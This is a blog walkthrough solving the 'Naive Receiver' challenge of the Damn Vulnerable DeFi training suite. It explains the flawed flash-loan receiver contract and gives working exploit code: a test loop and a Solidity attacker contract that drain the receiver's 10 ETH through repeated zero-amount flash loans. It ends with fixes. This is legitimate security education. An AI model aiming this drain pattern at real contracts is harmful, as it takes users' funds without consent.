Damn Vulnerable DeFI 2022 Walkthrough — Challenge 2 Solution “Naive Receiver”
Welcome to the second Damn Vulnerable DeFI challenge walkthrough!
In today’s article, I will show you how to hack the naive receiver smart contract step by step.
The Damn Vulnerable DeFi teaches offensive security techniques for DeFi smart contracts. You will develop your skills as a bug hunter or security auditor through numerous challenges.
I would like to thank @tinchoabbate for creating Damn Vulnerable Defi.
Here is a video showing how to solve the challenge of the “Naive Receiver”:
“Naive Receiver” (Challenge 2)
Our next challenge involves lending pools and flash loans, this time we need to attack the users who request the loan. Here are the instructions:
There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)
Attacker’s Goal
Ultimately, our goal is to drain all the funds from the user’s contract. In this case, draining is not necessarily stealing those funds; it could simply be transferring funds from the contract without the consent of the user.
The “FlashLoanReceiver” Contract
Users interact with the lending pool that offers flash loans through this contract. When a user requests a flash loan, the lending pool calls the callback function receiveEther
.
The receiveEther
function has a single parameter called fee
specifies how much the user must repay the lending pool for a flash loan. There are some security/validation checks in the function:
Both the loan and its fee are repaid from the contract’s balance
The msg.sender is indeed the lending pool address where the callback is expected to be made
When checking that it will execute the internal logic that will benefit from the flash loan by calling _executeActionDuringFlashLoan and repaying the loan by sending back the borrowed amount plus a fee
The “NaiveReceiverLenderPool” Contract
In this contract, flash loans are provided at a fixed fee of 1 ETH. Here are the parameters for the flashLoan
function:
borrower
— address that will receive the borrowborrowAmount
— the amount of ether that will be sent to theborrower
contract
The functionality is as followers:
Ensure that the contract balance exceeds the requested loan amount
The borrower is not an EOA, but rather a contract. It is needed since the lending pool will call a specific callback that must be implemented by the contract in order to send the borrowed amount.
With the fee amount as the parameter, call
receiveEther
on the borrower.The contract checks that the newly updated balance of the contract is equal to or greater than the balance before the flash loan plus the 1 ETH fee after the flash loan is completed.
The Vulnerabilities
In the FlashLoanReceiver
contract implementation, the following vulnerabilities were found:
receiveEther()
lacks proper access control, so anyone can make a flash loan on behalf of the receiver.Every time anyone calls the
receiveEther()
function, it gives away 1 ETH to the pool without verifying that the contract received ETH.
The attack
Option 1
Call the flashLoan()
function 10 times on NaiveReceiverLenderPool
, passing 0
as borrowAmount
and the address of the FlashLoanReceiver
contract as borrower. FlashLoanReceiver’s receiveEther()
function will drain the 10 ETH from the contract and send them to the pool.
Here it the code:
it('Exploit', async function ()
for(var i = 0; i < 10; i++){
await this.pool.connect(attacker).flashLoan(this.receiver.address, 0);
}
});{
And the results:
Option 2
The second option involves writing a contract (I called it NaiveReceiverAttacker
) that calls the flashLoan()
function and attacks in a similar manner to option 1 (invoking it 10 times).
The attack()
function of our attacker contract is executed only once, and this function calls NaiveReceiverLenderPool
10 times for us, achieving the same result as we did with option 1.
Attacker’s contract code (NaiveReceiverAttack.sol
):
// SPDX-License-Identifier: MI
pragma solidity ^0.8.0;
interface IPool {
function flashLoan(address borrower, uint256 borrowAmount) external;
}
contract NaiveReceiverAttacker {
IPool pool;
constructor(address payable _poolAddress) public {
pool = IPool(_poolAddress);
}
function attack(address victim) external {
for(uint i; i < 10; i++){
pool.flashLoan(victim, 0);
}
}
}
JS file:
it('Exploit', async function ()
const AttackerFactory = await ethers.getContractFactory('NaiveReceiverAttacker', attacker);
this.attackerContract = await AttackerFactory.deploy(this.pool.address);
await this.attackerContract.attack(this.receiver.address);
});{
And the result:
😎 🤯
Security Recommendations
Calculate the difference between ETH received and ETH transferred. A
require()
statement should be written to ensure that the amount of ETH received via the flash loan is greater than a logical amount, such as 1 ETH for the fixed fee.Access control should be implemented. To ensure that only the owner can call
receiveEther()
on behalf of the FlashLoanReceiver contract, declare a contract owner and place arequire()
statement inside the function.
Congratulation guys, you completed the second Damn Vulnerable DEFI challenge!
About GingerSec
Ex black-hat hackers at your service — all worked for state intelligence agencies in their past (ask us about it!) 🕵️
Next:
Damn Vulnerable DeFI Challenge 3 (“Truster”) Solution
Until next time,
JohnnyTime @ GingerSec.